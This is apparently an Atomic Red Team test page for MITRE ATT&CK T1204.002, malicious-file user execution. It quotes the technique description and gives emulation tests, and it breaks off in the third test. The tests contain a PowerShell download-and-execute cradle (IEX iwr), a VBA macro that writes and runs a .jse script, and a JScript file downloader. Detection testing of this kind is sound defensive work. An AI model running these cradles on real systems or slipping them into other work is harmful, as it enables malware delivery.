# T1204.002 - User Execution: Malicious File

## Description from ATT&CK

> An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, .reg, and .iso.(Citation: Mandiant Trojanized Windows 10)
> 
> Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs)
> 
> While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).

[Source](https://attack.mitre.org/techniques/T1204/002)

## Atomic Tests

- [Atomic Test #1: OSTap Style Macro Execution](#atomic-test-1-ostap-style-macro-execution)
- [Atomic Test #2: OSTap Payload Download](#atomic-test-2-ostap-payload-download)
- [Atomic Test #3: Maldoc choice flags command execution](#atomic-test-3-maldoc-choice-flags-command-execution)
- [Atomic Test #4: OSTAP JS version](#atomic-test-4-ostap-js-version)
- [Atomic Test #5: Office launching .bat file from AppData](#atomic-test-5-office-launching-bat-file-from-appdata)
- [Atomic Test #6: Excel 4 Macro](#atomic-test-6-excel-4-macro)
- [Atomic Test #7: Headless Chrome code execution via VBA](#atomic-test-7-headless-chrome-code-execution-via-vba)
- [Atomic Test #8: Potentially Unwanted Applications (PUA)](#atomic-test-8-potentially-unwanted-applications-pua)
- [Atomic Test #9: Office Generic Payload Download](#atomic-test-9-office-generic-payload-download)
- [Atomic Test #10: LNK Payload Download](#atomic-test-10-lnk-payload-download)
- [Atomic Test #11: Mirror Blast Emulation](#atomic-test-11-mirror-blast-emulation)
- [Atomic Test #12: ClickFix Campaign - Abuse RunMRU to Launch mshta via PowerShell](#atomic-test-12-clickfix-campaign---abuse-runmru-to-launch-mshta-via-powershell)
- [Atomic Test #13: Simulate Click-Fix via Downloaded BAT File](#atomic-test-13-simulate-click-fix-via-downloaded-bat-file)

### Atomic Test #1: OSTap Style Macro Execution

This Test uses a VBA macro to create and execute #{jse_path} with cscript.exe. Upon execution, the .jse file launches wscript.exe.
Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
This is a known execution chain observed by the OSTap downloader commonly used in TrickBot campaigns.
References:
  https://www.computerweekly.com/news/252470091/TrickBot-Trojan-switches-to-stealthy-Ostap-downloader

**Supported Platforms:** Windows

**auto_generated_guid:** `8bebc690-18c7-4549-bc98-210f7019efff`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| jse_path | Path for the macro to write out the "malicious" .jse file | string | C:&#92;Users&#92;Public&#92;art.jse|
| ms_product | Maldoc application Word or Excel | string | Word|

#### Attack Commands: Run with `powershell`!

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
$macrocode = "   Open `"#{jse_path}`" For Output As #1`n   Write #1, `"WScript.Quit`"`n   Close #1`n   Shell`$ `"cscript.exe #{jse_path}`"`n"
Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
```

#### Cleanup Commands

```powershell
Remove-Item #{jse_path} -ErrorAction Ignore
```

#### Dependencies: Run with `powershell`!

##### Description: Microsoft #{ms_product} must be installed

###### Check Prereq Commands

```powershell
try {
  New-Object -COMObject "#{ms_product}.Application" | Out-Null
  $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
  Stop-Process -Name $process
  exit 0
} catch { exit 1 }
```

###### Get Prereq Commands

```powershell
Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"
```

### Atomic Test #2: OSTap Payload Download

Uses cscript //E:jscript to download a file

**Supported Platforms:** Windows

**auto_generated_guid:** `3f3af983-118a-4fa1-85d3-ba4daa739d80`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| script_file | File to execute jscript code from | path | %TEMP%&#92;OSTapGet.js|
| file_url | URL to retrieve file from | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt|

#### Attack Commands: Run with `command_prompt`!

```cmd
echo var url = "#{file_url}", fso = WScript.CreateObject('Scripting.FileSystemObject'), request, stream; request = WScript.CreateObject('MSXML2.ServerXMLHTTP'); request.open('GET', url, false); request.send(); if (request.status === 200) {stream = WScript.CreateObject('ADODB.Stream'); stream.Open(); stream.Type = 1; stream.Write(request.responseBody); stream.Position = 0; stream.SaveToFile('ostapout.txt', 1); stream.Close();} else {WScript.Quit(1);}WScript.Quit(0); > #{script_file}
cscript //E:Jscript #{script_file}
```

#### Cleanup Commands

```cmd
del #{script_file} /F /Q >nul 2>&1
```
### Atomic Test #3: Maldoc choice flags command execution

This Test uses a VBA macro to execute cmd with flags observed in recent maldoc and 2nd stage downloaders. Upon execution, CMD will be launched.
Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.

**Supported Platforms:** Windows

**auto_generated_guid:** `0330a5d2-a45a-4272-a9ee-e364411c4b18`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| ms_product | Maldoc application Word or Excel | string | Word|

#### Attack Commands: Run with `powershell`!

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/sr